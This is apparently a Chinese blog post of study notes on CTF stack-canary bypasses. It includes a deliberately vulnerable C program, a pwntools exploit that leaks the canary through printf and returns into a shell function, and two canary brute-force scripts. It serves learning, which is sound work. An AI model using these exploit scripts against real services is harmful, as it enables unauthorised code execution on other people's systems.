PWN-canary学习

先简单介绍一下canary:

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处,先从fs/gs寄存器中获取一个值,一般存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置。当函数结束时会检查这个栈上的值是否和存进去的值一致,若一致则正常退出,如果是栈溢出或者其他原因导致canary的值发生变化,那么程序将执行___stack_chk_fail函数,继而终止程序。

需要注意的是:canary一般最高位是\x00,64位程序的canary大小是8个字节,32位的是4个字节,canary的位置不一定就是与ebp存储的位置相邻,具体得看程序的汇编操作

  • Canary值在rbp到rsp之间(并不一定是rbp-8的位置)
  • Canary值以0x00结尾,如果程序没有漏洞但栈上面刚好是一个满的字符串,这个0x00可以当做截断,避免被打印出来
  • Canary值如果被改写,程序会崩溃

开启 Canary 保护的 stack 结构大概如下:


Canary绕过方式一般canary有两种利用方式
1.爆破canary
2.如果存在字符串格式化漏洞 / 通过函数打印出4/8位的canary并利用溢出覆盖canary从而达到绕过

补wiki坑:(这里是第二种方法)

利用实例:

// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

编译为 32bit 程序,开启 NX,ASLR,Canary 保护

找出canary值的思路:
根据canary特性知道canary也会进行压栈所以canary的值应该会在栈的附近,我们就可以canary赋值给edx之后进行下断,通过edx的值来得到canary的值。

把程序载入gdb进行调试,在printf处下断:

EXP

#!/usr/bin/env
from pwn import *
context.binary = 'ex2'
io = process('./ex2')
get_shell = ELF('./ex2').sym['getshell']
io.recvuntil('Hello Hacker!\n')
io.sendline('A'*100)
io.recvuntil('A'*100)
Canary = io.recv(4)
Canary = Canary.ljust(4,'\x00')
Canary = u32(Canary)-0xa
log.info("Canary:"+hex(Canary))
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)
#发送12个padding来覆盖canary的8个字节大小,4个ebp大小

#
# payload = buf + canary + canary到返回地址的大小 + 返回地址

io.send(payload)
io.recv()
io.interactive()

插曲:最开始用了wiki上的脚本报错——>unpack requires a string argument of length 4,度娘搜索之后发现就是字节没有对齐,https://blog.csdn.net/wxl2578/article/details/51511401,加上Canary.ljust(4,'\x00')就ok了。

总结

Leaks Canary

思路: 由于Canary以\x00结尾,通过覆盖\x00为其他字符再借助其它函数将其打印出来。

适用场景:
1.存在栈溢出以及Canary保护
2.有相应的打印函数(任何形式的输出都可以)可利用
3.且在同一个Canary下至少能利用两次溢出,一次获取Canary另一次控制RIP

要注意的:
1.编写脚本利用时,由于字节对齐,机器位数(32bits/64bits),ASLR等因素的影响,实际栈区的布局要根据实际情况来调整和计算偏移
2.address(old_ebp) - address(canary_value) = len(padding+old_ebp)

参考链接:http://inotahacker.cn/index.php/2019/06/26/canary/

 

第一种方法:One-by-one Blasting

思路: 已知Canary的总位数,每一位字节有256种可能的组合,(8位,每位两种)爆破得出结果。

对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中,作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码:(摘自Wiki)

print "[+] Brute forcing stack canary "

start = len(p)
stop = len(p)+8

while len(p) < stop:
   for i in xrange(0,256):
      res = send2server(p + chr(i))

      if res != "":
         p = p + chr(i)
         #print "\t[+] Byte found 0x%02x" % i
         break

      if i == 255:
         print "[-] Exploit failed"
         sys.exit(-1)


canary = p[stop:start-1:-1].encode("hex")
print "   [+] SSP value is 0x%s" % canary

以下代码为https://blog.csdn.net/aptx4869_li/article/details/78884099上的一个爆破canary脚本:

from pwn import *
# blasting canary
canary = "\x00"
padding = "a"*104
for x in xrange(7):
  for y in xrange(256):
    p = remote("127.0.0.1", 5555)
    print p.recv()
    p.send(padding+canary+chr(y))
    try:
      info = p.recv()
      print info
    except:
      p.close()
      continue
    p.close()
    break
  canary += chr(y)
print "success get blasting!"
print canary.encode('hex')

 

  • 0
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值